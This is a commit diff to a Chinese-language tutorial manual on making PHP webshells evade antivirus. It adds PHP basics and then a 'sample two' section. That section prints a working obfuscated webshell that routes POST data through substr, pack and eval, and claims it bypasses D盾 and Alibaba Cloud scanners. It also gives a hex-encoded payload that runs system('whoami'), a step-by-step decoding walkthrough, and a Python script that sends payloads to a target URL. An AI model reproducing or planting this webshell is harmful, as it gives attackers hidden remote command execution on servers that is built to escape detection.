|
2 | 2 |
|
3 | 3 |  |
4 | 4 |
|
5 | | -**手册版本号:V1.2-20230610** |
| 5 | +**手册版本号:V1.3-20230807** |
6 | 6 |
|
7 | 7 | 这是一本能让你从零开始学习PHP的WebShell免杀的手册,同时我会在内部群迭代更新 |
8 | 8 |
|
@@ -207,6 +207,30 @@ __METHOD__ //当前所属的方法 |
207 | 207 | ``` |
208 | 208 | 第三种和第四种为短标识,当使用他们需要开启 `php.ini` 文件中的 `short_open_tag` ,不然会报错 |
209 | 209 |
|
| 210 | +### 0.8 $_POST变量 |
| 211 | + |
| 212 | +在 PHP 中,预定义的 `$_POST` 变量用于收集来自 `method="post"` 的表单中的值 |
| 213 | + |
| 214 | +```php |
| 215 | +$num1=$_POST['num1']; |
| 216 | +$num2=$_POST['num2']; |
| 217 | +print_r($_POST); |
| 218 | +``` |
| 219 | + |
| 220 | +当你在HTTP数据包Body传参时: |
| 221 | +```php |
| 222 | +num1=1&num2=2 |
| 223 | +``` |
| 224 | + |
| 225 | +得到回显: |
| 226 | +```php |
| 227 | +Array |
| 228 | +( |
| 229 | + [num1] => 1 |
| 230 | + [num2] => 2 |
| 231 | +) |
| 232 | +``` |
| 233 | + |
210 | 234 |
|
211 | 235 | ## 1# 回调类型函数 |
212 | 236 |
|
@@ -335,6 +359,35 @@ print_r(array_filter($a1,"test_odd")); |
335 | 359 | Array ( [3] => 3 ) |
336 | 360 | ``` |
337 | 361 |
|
| 362 | +### 1.5 foreach() |
| 363 | + |
| 364 | +**`foreach()` 方法用于调用数组的每个元素,并将元素传递给回调函数** |
| 365 | + |
| 366 | +foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。 |
| 367 | + |
| 368 | +Demo: |
| 369 | + |
| 370 | +```php |
| 371 | +$arr = array(1,2,3,4); |
| 372 | +//用foreach来处理$arr |
| 373 | +foreach($arr as $k=>$v) { |
| 374 | + $arr[$k] = 2 * $v; |
| 375 | +} |
| 376 | +print_r($arr); |
| 377 | +``` |
| 378 | + |
| 379 | +输出: |
| 380 | + |
| 381 | +```php |
| 382 | +Array |
| 383 | +( |
| 384 | + [0] => 2 |
| 385 | + [1] => 4 |
| 386 | + [2] => 6 |
| 387 | + [3] => 8 |
| 388 | +) |
| 389 | +``` |
| 390 | + |
338 | 391 |
|
339 | 392 | ## 2# 字符串处理类函数 |
340 | 393 |
|
@@ -424,6 +477,18 @@ parse_str("name=Peter&age=43",$myArray); |
424 | 477 | print_r($myArray); //Array ( [name] => Peter [age] => 43 ) |
425 | 478 | ``` |
426 | 479 |
|
| 480 | +### 2.4 pack() |
| 481 | + |
| 482 | +**`pack()` 函数函数把数据装入一个二进制字符串** |
| 483 | + |
| 484 | +Demo:简单来说,就是将指定编码的数字转成字符串 |
| 485 | + |
| 486 | +```php |
| 487 | +echo pack("C3",80,72,80); //ASCII编码转换为PHP |
| 488 | +echo pack("H*",4161627973735465616d); //16进制编码转换为AabyssTeam |
| 489 | +``` |
| 490 | + |
| 491 | +其他参数请参考菜鸟教程: [https://www.runoob.com/php/func-misc-pack.html](https://www.runoob.com/php/func-misc-pack.html) |
427 | 492 |
|
428 | 493 |
|
429 | 494 | ## 3# 命令执行类函数 |
@@ -1296,6 +1361,133 @@ system('whoami'); |
1296 | 1361 |
|
1297 | 1362 | 当然这里使用到 `assert` 高危函数,只能用于 `php` 在 `5.*` 的版本,相关姿势读者不妨自行拓展一下哈哈~ |
1298 | 1363 |
|
| 1364 | +### 12.2 样例二 |
| 1365 | + |
| 1366 | +这个免杀马是最近捕获到的,可以轻松过D盾、阿里云等一众查杀引擎~ |
| 1367 | + |
| 1368 | + |
| 1369 | + |
| 1370 | + |
| 1371 | + |
| 1372 | +这个样例使用了字符串截取+编解码转换+参数回调的手法,成功规避了正则匹配式,具有实战意义 |
| 1373 | + |
| 1374 | +```php |
| 1375 | +<?php |
| 1376 | +phpinfo(); |
| 1377 | +class Car{ |
| 1378 | + function encode(){ |
| 1379 | + $num1=base64_encode($_POST['num']); |
| 1380 | + $num=base64_decode($num1); |
| 1381 | + echo "1"; |
| 1382 | + foreach($_POST as $k => $v){ |
| 1383 | + $_POST[$k] = pack("H*",(substr($v,$num,-$num))); |
| 1384 | + } |
| 1385 | + @$post=base64_encode($_POST['Qxi*37yz']); |
| 1386 | + @$post1=base64_decode(@$post); |
| 1387 | + return $post1; |
| 1388 | + } |
| 1389 | + function Xt(){ |
| 1390 | + return eval($this->encode()); |
| 1391 | + } |
| 1392 | +} |
| 1393 | +$t=new Car; |
| 1394 | +$t->Xt(); |
| 1395 | +?> |
| 1396 | +``` |
| 1397 | +这时候,就可以执行POST传参:`num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62` 来执行whoami命令 |
| 1398 | + |
| 1399 | +这个PHP内定义了两个函数,分别是 `encode()` 和 `Xt()`,我们先看 `encode()`: |
| 1400 | + |
| 1401 | +```php |
| 1402 | +function encode(){ |
| 1403 | + $num1=base64_encode($_POST['num']); |
| 1404 | + $num=base64_decode($num1); |
| 1405 | + echo "1"; |
| 1406 | + foreach($_POST as $k => $v){ |
| 1407 | + $_POST[$k] = pack("H*",(substr($v,$num,-$num))); |
| 1408 | + } |
| 1409 | + @$post=base64_encode($_POST['Qxi*37yz']); |
| 1410 | + @$post1=base64_decode(@$post); |
| 1411 | + return $post1; |
| 1412 | +} |
| 1413 | +``` |
| 1414 | +传入了两个参数,参数名分别为 `num` 和 `Qxi*37yz`,这个函数的输出为 `$post1`,关键就在于以下这一行代码: |
| 1415 | + |
| 1416 | +```php |
| 1417 | +foreach($_POST as $k => $v){ |
| 1418 | + $_POST[$k] = pack("H*",(substr($v,$num,-$num))); |
| 1419 | +} |
| 1420 | +``` |
| 1421 | +然后我们根据上文提到的知识点0.8、1.5和2.1以及2.4,可以了解到这一行代码的意思: |
| 1422 | + |
| 1423 | +- `substr()` 函数将传进去的 `Qxi*37yz` 参数字符串,删掉前 `num` 个字符和后 `num` 个字符(截取中间部分的内容) |
| 1424 | +- `pack("H*",...)` 函数将处理后的 `Qxi*37yz` 参数字符串进行十六进制编码转换 |
| 1425 | +- `foreach()` 将原本的 `$_POST` 变量替换为经过十六进制编码转换后的字符串 |
| 1426 | + |
| 1427 | +注:这里可能有些绕,多上手尝试一下就明白了 |
| 1428 | + |
| 1429 | +接下来我们来看 `Xt()` 这个函数: |
| 1430 | + |
| 1431 | +```php |
| 1432 | +function Xt(){ |
| 1433 | + return eval($this->encode()); |
| 1434 | +} |
| 1435 | +``` |
| 1436 | +它将 `encode()` 函数的执行结果带入到 `eval()` 高危函数当中,即: |
| 1437 | + |
| 1438 | +```php |
| 1439 | +function Xt(){ |
| 1440 | + return eval($post1); //encode()函数的输出为$post1 |
| 1441 | +} |
| 1442 | +``` |
| 1443 | +那假设我们要执行 `whoami` 命令,那就要让 `$post1` 等于 `system('whoami');`,这没毛病吧? |
| 1444 | + |
| 1445 | +所以结合来看,我们先要生成16进制的字符串: |
| 1446 | + |
| 1447 | + |
| 1448 | + |
| 1449 | +但眼尖的师傅可能会发现,为什么最前面要加个 `a` 以及最后面要加个 `b` 呢? |
| 1450 | +那是因为上面有 `substr()` 函数啊,会删掉前 `num` 个字符和后 `num` 个字符(截取中间部分的内容),小傻瓜~所以现在懂了吗? |
| 1451 | + |
| 1452 | +所以整体参数的传参流程如下: |
| 1453 | + |
| 1454 | + |
| 1455 | + |
| 1456 | +- 刚开始传入参数:`num`=`2`,`Qxi*37yz`=`6173797374656d282777686f616d6927293b62` |
| 1457 | +- 第一步:先根据 `substr()`,从num=2开始截取到倒数第2位,于是 `Qxi*37yz` 便等于 `73797374656d282777686f616d6927293b` |
| 1458 | +- 第二步:再根据 `pack("H*",...)`,将 `Qxi*37yz`=`73797374656d282777686f616d6927293b` 从16进制转为字符串即 `system('whoami');` |
| 1459 | +- 第三步:最后根据 `foreach()`,将内容返还给原本的值,使得 `encode()` 函数的输出变量 `$post1` 为 `system('whoami');` |
| 1460 | +- 第四步:再在 `Xt()` 函数当中,用 `eval()` 高危函数执行php语句 `system('whoami');`,便成功执行系统命令 `whoami` |
| 1461 | + |
| 1462 | +当然这个PHP木马也能用蚁剑来连接,前提是需要写一个编码器,如果你懂原理了,相信你分分钟就能写出来~ |
| 1463 | + |
| 1464 | +这里的话,微信的 `@Elvery` 师傅还写了一个直接生成Payload一键传参的Python脚本,师傅们可以参考一下: |
| 1465 | +```python |
| 1466 | +import requests |
| 1467 | +import base64 |
| 1468 | + |
| 1469 | +# 指定num参数和要执行的PHP代码 |
| 1470 | +num = 5 |
| 1471 | +php_code = 'echo "Hello, world!";' |
| 1472 | + |
| 1473 | +# 把PHP代码转换为十六进制字符串 |
| 1474 | +hex_code = php_code.encode().hex() |
| 1475 | + |
| 1476 | +# 在字符串的开头和结尾加上num个任意字符 |
| 1477 | +encoded_code = 'a'*num + hex_code + 'a'*num |
| 1478 | + |
| 1479 | +# 发送POST请求 |
| 1480 | +response = requests.post('http://your-target-url/path-to-php-file.php', data={ |
| 1481 | + 'num': num, |
| 1482 | + 'Qxi*37yz': encoded_code, |
| 1483 | +}) |
| 1484 | + |
| 1485 | +# 打印服务器的响应 |
| 1486 | +print(response.text) |
| 1487 | +``` |
| 1488 | + |
| 1489 | + |
| 1490 | + |
1299 | 1491 | 所以你学废了吗?更多有趣的WebShell免杀案例等我后续更新~ |
1300 | 1492 |
|
1301 | 1493 |
|
|
0 commit comments